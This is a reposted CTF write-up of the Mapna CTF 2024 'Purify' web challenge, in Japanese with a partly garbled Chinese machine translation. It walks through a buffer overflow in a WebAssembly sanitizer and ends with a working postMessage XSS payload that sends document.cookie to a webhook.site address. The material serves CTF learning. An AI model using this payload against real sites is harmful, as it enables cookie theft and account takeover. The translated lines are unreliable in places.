Mapna CTF 2024 writeup

WriteUp 10个月前 admin
121 0 0

あけましておめでとうございます。1/21から1/22にかけてASISが開催していたMapna CTF 2024に、BunkyoWesternsとして参加した。結果は1位で嬉しい。
祝你新年快乐。从1月21日到1月22日,ASIS举办的Mapna CTF 2024,作为BunkyoWesterns参加了会议。我对第一个结果很满意。

Web問は6問が出題されていたけれども、うち4問は私が取り掛かる前にSatokiさんがすでに解いていたし、1問は競技時間内に解ききれなかったしで、個人としてはPurifyという1問のみを解いた。
虽然有6道网络问题,但Satoki先生在我开始之前就已经解决了其中4道问题,其中1道问题在比赛时间内解决不了,所以我个人只解决了1道问题,Purify。


[Web 398] Purify (4 solves)
[Web 1998年:Purify (4件)

I think I downloaded the wrong DOMPurify.
我想我下载了错误的DOMPurify。

Website: (URL その1) 网站:(URL链接1)
Admin bot: (URL その2)
Admin bot:(URL http://www.

添付ファイル: purify_206ec7c8d65c88cb617775a62bc5ab9bcfaa7baa.txz
支付宝:purify_206ec7c8d65c88cb617775a62bc5ab9bcfa7baa.txz

次のようなファイルが与えられている。nginxで app 下の静的コンテンツを配信する web と、フラグ付きで web にChromiumでアクセスしてくれる bot という2つのコンテナから構成されている。
给出了如下的文件。它由两个容器组成,即 web 在nginx中发送 app 下的静态内容, bot 在带有标志的 web 中通过Chromium访问。

$ tree .
.
├── purify
│   ├── app
│   │   ├── nginx.conf
│   │   └── static
│   │       ├── css
│   │       │   └── style.css
│   │       ├── index.html
│   │       ├── js
│   │       │   ├── purify.js
│   │       │   └── script.js
│   │       └── purify.wasm
│   ├── bot
│   │   ├── Dockerfile
│   │   └── stuff
│   │       ├── bot.js
│   │       ├── index.js
│   │       ├── package-lock.json
│   │       ├── package.json
│   │       └── static
│   │           └── index.html
│   ├── docker-compose.yaml
│   └── purify.c
└── purify_206ec7c8d65c88cb617775a62bc5ab9bcfaa7baa.txz

8 directories, 15 files

bot/stuff/bot.js は次の通り。いつものやつという感じで、flag という名前のCookieを web というドメインで設定した上で、ユーザの指定したURLにアクセスしてくれる。このURLについて、そのオリジンは http://web に限られておらず、どんなURLでも通報すればアクセスしてくれる。
bot/stuff/bot.js 如下所示。像往常一样,在 web 域中设定名为 flag 的Cookie后,访问用户指定的URL。对于这个URL,它的起源并不局限于 http://web ,任何URL都可以被报告。

httpOnly が false であるから、web でXSSを引き起こすことができれば、JavaScript側から document.cookie にアクセスしてフラグが得られるとわかる。
因为 httpOnly 是 false ,所以如果 web 能够引起XSS的话,就可以从JavaScript侧访问 document.cookie 得到标志。

#!/usr/bin/env node
const puppeteer = require('puppeteer')

const flag = process.env.FLAG || 'MAPNA{test-flag}';

async function visit(url){
    let browser;

    if(!/^https?:\/\//.test(url)){
        return;
    }

    try{
        browser = await puppeteer.launch({
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--ignore-certificate-errors",
            ],
            executablePath: "/usr/bin/google-chrome-stable",
            headless: 'new'
        });

        let page = await browser.newPage();
        await page.setCookie({
            name: 'flag',
            value: flag,
            domain: 'web',
            httpOnly: false,
            secure: false,
            sameSite: 'Lax'
        });
        await page.goto(url,{ waitUntil: 'domcontentloaded', timeout: 2000 });
        await new Promise(r=>setTimeout(r,5000));
    }catch(e){ console.log(e) }
    try{await browser.close();}catch(e){}
    process.exit(0)
}

visit(JSON.parse(process.argv[2]))

app/static/index.html と app/static/js/script.js はそれぞれ以下の通り。シンプルな構造で、postMessage で送られてきたメッセージについて、”DOMPurify” によってエスケープ処理を施した上で innerHTML で表示している。
app/static/index.html 和 app/static/js/script.js 分别如下:在简单的结构中,对于 postMessage 发送来的信息,通过“DOMPurify”进行转义处理后,用 innerHTML 表示。

この時点で気になる点としては、送られてきたメッセージは window.onmessage で受け取っているけれども、ここで送信元のオリジンを検証していないということがある。たとえば攻撃者のWebページから iframe や window.open でこのページを開き、postMessage でメッセージを送信しても、その内容を表示してくれる。もっとも、flag というCookieには SameSite=Lax が指定されているので、このCookieを送信させたければtop-level navigationとみなされる window.open を使用する必要がある。iframe ではダメだ。
此时需要注意的一点是,发送来的信息虽然在 window.onmessage 中接收,但是在这里没有验证发送源的起源。例如,如果您在攻击者的网页上使用 iframe 或 window.open 打开此页面,然后使用 postMessage 发送消息,它将显示其内容。但是,由于 flag 这个Cookie被指定为 SameSite=Lax ,所以如果想发送这个Cookie,就需要使用被认为是top-level navigation的 window.open 。#7不可能。

index.html
<!DOCTYPE html>
<html>
<head>
   <meta charset="utf-8">
   <title>Purify</title>
   <script src="./js/purify.js"></script>
   <link href="./css/style.css" rel="stylesheet"/>
</head>
<body>
</body>
    <div>
        <h2>Received messages:</h2>
        <ul id="list">
        </ul>
    </div>
    <script src="./js/script.js"></script>
</html>
// script.js
window.onmessage = e=>{
    list.innerHTML += `
      <li>From ${e.origin}: ${window.DOMPurify.sanitize(e.data.toString())}</li>
  `
}

setTimeout(_=>window.postMessage("hi",'*'),1000)

もしこの “DOMPurify” が本物であればXSSへ持ち込むことは極めて難しいのだけれども、以下に示す app/static/js/purify.js のコードを見るとわかるようにWebAssemblyで作られている。偽物だ。
如果这个“DOMPurify”是真品的话,很难带入XSS,但是从以下所示的 app/static/js/purify.js 的代码可以看出,是用WebAssembly制作的。是假的。

purify.wasm 側では少なくとも set_modeadd_charget_char という関数がエクスポートされている(JavaScript側から呼び出せる)とわかる。エスケープにあたっては、まず set_mode でよくわからないが何かしらのモードをセットし、1文字ずつ add_char でエスケープしたい文字列を送信し、そして再び1文字ずつ get_char でエスケープ後の文字列を取得する。なお、get_char はnull文字が返ってくるまで繰り返される。
purify.wasm 侧至少导出了 set_mode , add_char , get_char 的函数(可以从JavaScript侧调用)。转义时,首先设定 set_mode 中不太清楚的某种模式,发送希望用 add_char 每个字符转义的字符串,然后再次用 get_char 每个字符取得转义后的字符串。请注意, get_char 将重复直到返回null字符。

// purify.js
async function init() {
    window.wasm = (await WebAssembly.instantiateStreaming(
        fetch('./purify.wasm')
    )).instance.exports
}

function sanitize(dirty) {
    wasm.set_mode(0)    

    for(let i=0;i<dirty.length;i++){
        wasm.add_char(dirty.charCodeAt(i))
    }

    let c
    let clean = ''
    while((c = wasm.get_char()) != 0){
        clean += String.fromCharCode(c)
    }

    return clean
}

window.DOMPurify = { 
    sanitize,
    version: '1.3.7'
}

init()

purify.wasm に脆弱性はないだろうか。そのソースコードが purify.c として次の通りに与えられている。先程エスケープ時に最初に呼び出されると言っていた set_mode について、その引数が 1 であれば escape_attr が、そうでなければ escape_tag がという形で、何をエスケープするかのチェックに使われる関数が切り替えられるようだ。purify.js では 0 を引数として与えているので、escape_tag が選択される。
purify.wasm 是否有漏洞?其源代码作为 purify.c 给出如下。关于刚才在转义时最初被调用的 set_mode ,如果其自变量是 1 ,则 escape_attr ,否则 escape_tag 以这样的形式,检查转义什么时使用的函数被切换。 purify.js 中,因为将 0 作为自变量给出,所以选择 escape_tag 。

add_char 中で is_dangerous という、escape_tag もしくは escape_attr が入る関数ポインタが参照されている。escape_ から始まる名前から連想される処理とはやや違っており、これらは与えられた文字が < や > のような危険なものであれば 1 を、安全と思われるものであれば 0 を返すという関数になっている。add_char は、これらの関数を使ってある文字が危険かどうか判定し、もし危険であれば hex_escape で数値文字参照へ変換する。
add_char 中 is_dangerous 这个, escape_tag 或者 escape_attr 进入的函数指针被参照。与从 escape_ 开始的名字联想到的处理稍有不同,这些函数是如果给出的文字是 < 和 > 这样危险的话,则返回 1 ,如果被认为是安全的话,则返回 0 的函数。 add_char 使用这些函数来确定一个字符是否危险,如果危险,则使用 hex_escape 将其转换为数字字符引用。

globalVars という構造体のグローバルな変数である g に、エスケープ後の文字列(buf)や、is_dangerous が含まれている。これは len と len_r というメンバも持つけれども、それぞれ次に add_char と get_char が呼び出された際に buf のどの位置を参照するかを意味する。g が持つ buf と len_r を元に、get_char はエスケープ後の文字を1文字ずつ返していく。
globalVars 结构体的全局变量 g 中包含转义后的字符串( buf )和 is_dangerous 。这虽然也有 len 和 len_r 这样的成员,但是分别意味着 add_char 和 get_char 被调用时参照 buf 的哪个位置。基于 g 的 buf 和 len_r , get_char 将返回转义后的字符。

// clang --target=wasm32 -emit-llvm -c -S ./purify.c && llc -march=wasm32 -filetype=obj ./purify.ll && wasm-ld --no-entry --export-all -o purify.wasm purify.o
struct globalVars {
    unsigned int len;
    unsigned int len_r;
    char buf[0x1000];
    int (*is_dangerous)(char c);
} g;

int escape_tag(char c){
    if(c == '<' || c == '>'){
        return 1;
    } else {
        return 0;
    }
}

int escape_attr(char c){
    if(c == '\'' || c == '"'){
        return 1;
    } else {
        return 0;
    }
}

int hex_escape(char c,char *dest){
    dest[0] = '&';
    dest[1] = '#';
    dest[2] = 'x';
    dest[3] =  "0123456789abcdef"[(c&0xf0)>>4];
    dest[4] =  "0123456789abcdef"[c&0xf];
    dest[5] =  ';';
    return 6;
}

void add_char(char c) {
    if(g.is_dangerous(c)){
        g.len += hex_escape(c,&g.buf[g.len]);
    } else {
        g.buf[g.len++] = c;
    }
}

int get_char(char f) {
    if(g.len_r < g.len){
        return g.buf[g.len_r++];
    }
    return '\0';
}

void set_mode(int mode) {
    if(mode == 1){
        g.is_dangerous = escape_attr;
    } else {
        g.is_dangerous = escape_tag;
    }
}

g.buf のサイズは 0x1000 バイトしかない。add_char では g.len がそのサイズを超えているかのチェックがなされていないわけだから、バッファオーバーフロー(BOF)が発生する。メモリ上は g.buf より後ろに g.is_dangerous が位置しているので、これが指す関数を書き換えられそうに思う。
g.buf 的大小只有 0x1000 字节。 add_char 中 g.len 没有进行是否超过其大小的检查,所以会发生缓冲溢出(BOF)。内存上 g.is_dangerous 位于 g.buf 之后,所以我想可以改写它所指的函数。

そもそもwasmでは g.is_dangerous の呼び出しがどのように実現されているか。Chromeの開発者ツールでSources → purify.wasm から逆アセンブルし、add_char としてエクスポートされている関数を見てみると、次のように call_indirect という命令がそれにあたるとわかる。
在wasm中, g.is_dangerous 的调用是如何实现的?在Chrome的开发者工具中,从Sources purify.wasm 中进行逆汇编,从作为 add_char 导出的函数来看,如下所示, call_indirect 这一命令相当于该命令。

call_indirect の後ろに (param i32) (result i32) とあるけれども、これは1個の i32 を引数として受け取り、i32 を返り値として返す関数を呼び出すことを意味する。
call_indirect 后面有 (param i32) (result i32) ,这意味着将1个 i32 作为自变量接受,将 i32 作为返回值调用返回的函数。

Mapna CTF 2024 writeup

では、ここでどうやって特定の関数を指定しているか。このwasmは以下のように table セクションと elem セクションを持っており、escape_attrescape_tag のような関数を要素として持っている。call_indirect はスタックから i32 の値を持ってきて、このテーブルの何番目の関数を指すかを意味するオフセットとして解釈し、その関数を呼び出す。g.is_dangerous にはこのオフセットが入っている。
那么,我们是如何在这里指定一个特定的函数的呢?这个wasm有 table 和 elem 节,其中 escape_attr 和 escape_tag 等函数作为元素: call_indirect 从堆栈中获取 i32 的值,将其解释为偏移量,这意味着它指向该表中的第几个函数,然后调用该函数。 g.is_dangerous 中包含了这一偏移量。

Mapna CTF 2024 writeup

Mapna CTF 2024 writeup

sanitize の最初の set によって、g.is_dangerous には最初 escape_tag のオフセット、つまり 2 が入っている。これを 1 に置き換えることで escape_attr が呼び出されるようにできるのではないか。escape_tag は < と > をエスケープするのに対して、escape_tag は " と ' をエスケープするから、これでXSSに持ち込めるのではないか。
根据 sanitize 最初的 set , g.is_dangerous 中包含最初 escape_tag 的偏移,即 2 。也许我们可以用 1 替换它来确保 escape_attr 被调用。 escape_tag 将转义 < 和 > ,而 escape_tag 将转义 " 和 ' ,所以我们现在可以将它们带入XSS。

sanitize の返り値を console.log で出力するよう script.js を変更した上で、以下のような内容のHTMLにアクセスする。すると、< がエスケープされずに出力された。
在变更 script.js 以 console.log 输出 sanitize 的返回值的基础上,访问以下内容的HTML。然后, < 被输出而不是转义。

<script>
let w = window.open('http://web');
setTimeout(() => {
    w.postMessage('A'.repeat(0x1000) + '\x01<', '*');
}, 100);
</script>

しかしながら、まだ問題がある。g.is_dangerous の型は i32 であり、上記のようにBOFを行ってしまうとメモリ上では 01 3c 00 00 に、つまり15361に書き換えられてしまう。上述の call_indirect が参照するテーブルは3つしか要素がないので、そのままエスケープなしに出力させようとすると table index is out of bounds というエラーが発生してしまう。
然而,仍然存在一些问题。 g.is_dangerous 的类型为 i32 ,如上所述进行BOF的话,在存储器上就会改写为 01 3c 00 00 ,即15361。由于上述 call_indirect 参照的表格只有3个要素,所以如果直接在没有转义的情况下输出的话,就会发生 table index is out of bounds 这样的错误。

Mapna CTF 2024 writeup

'A'.repeat(0x1000) + '\x01\x00\x00\x00' + '<s>test</s>' のように g.is_dangerous を 01 00 00 00 で置き換えて、その後にHTMLタグを仕込めばよいのではないかと思うが、単純に置き換えるだけだとダメだ。というのも、sanitize は get_char がnull文字を返せばそこで文字列が終わっていると判断してしまうためだ。なんとかして 00 の部分を読み飛ばすことはできないか。
我想我们可以像 'A'.repeat(0x1000) + '\x01\x00\x00\x00' + '<s>test</s>' 那样用 01 00 00 00 替换 g.is_dangerous ,然后再添加HTML标签,但如果我们只是简单地替换它,那就不行了。这是因为,如果 sanitize 返回一个null字符,它将判断字符串在那里结束。我想知道你是否能把第5条的内容写下来。

    let c
    let clean = ''
    while((c = wasm.get_char()) != 0){
        clean += String.fromCharCode(c)
    }

ふと、同時に postMessage で複数のメッセージを送るとどうなるかと考えた。今回使われている偽DOMPurifyは同じ purify.wasm のインスタンスを使いまわしており、かつ g の初期化を行うような処理はない。複数回 sanitize が呼び出されると、前回の続きから再開される。
我想知道如果我同时在 postMessage 上发送多条消息会发生什么。这次使用的伪DOMPurify使用了相同的 purify.wasm 实例,并且没有进行 g 初始化的处理。如果多次调用 sanitize ,则将从上一次调用中恢复。

g.len_r の値も保持されているから、「前回の続きから再開される」というのは get_char も含む。たとえnull文字が含まれていたとしても、3回呼び出せば g.is_dangerous の範囲を抜け出して、それ以降のHTMLタグを含む文字列を出力させることもできる。なお、buf に入っているのはすでにエスケープされたとみなされている文字列であり、後から wasm.set_mode(0) によって g.is_dangerous が escape_tag を指す 2 に変えられてしまっても影響はない。
g.len_r 的值也被保留,所以“从上一次的继续开始”也包括 get_char 。即使包含null字符,只要调用3次,也可以脱离 g.is_dangerous 的范围,输出包含其后的HTML标签的字符串。另外,进入 buf 的是已经被认为被转义的字符串,之后根据 wasm.set_mode(0) 即使 g.is_dangerous 改变为指向 escape_tag 的 2 也没有影响。

まずBOFで is_dangerous に escape_attr を指す 1 を書き込み、ついでに外部へCookieを送信させるJSコードを実行するHTMLタグを、エスケープなしに buf (といっても本来の buf の範囲は超えているが…)へ載せさせる。その後で3回適当なメッセージを送ると、最後にHTMLタグを含んだ文字列が出力されるはずだ。
首先,在BOF中在 is_dangerous 中写入指示 escape_attr 的 1 ,顺便将执行向外部发送Cookie的JS代码的HTML标签,在没有转义的情况下,放置在 buf (虽说超过了原来的 buf 的范围…)上。在此之后,您发送了三次适当的消息,最后一个包含HTML标签的字符串应该打印出来。

<script>
let w = window.open('http://web');
setTimeout(() => {
    w.postMessage("A".repeat(0x1000) + '\x01\x00\x00\x00' + '<img src=x onerror=location.assign([`http://webhook.site/…?`,document.cookie])>', '*');
    w.postMessage('a', '*');
    w.postMessage('a', '*');
    w.postMessage('a', '*');
}, 100);
</script>

これを通報するとフラグが飛んできた。 当我听到这个消息时,旗帜飞了起来。

MAPNA{e22e0bf86e0813d9d3c7ae3f8022e41d}

原文始发于st98 の日記帳:Mapna CTF 2024 writeup

版权声明:admin 发表于 2024年1月24日 上午10:47。
转载请注明:Mapna CTF 2024 writeup | CTF导航

相关文章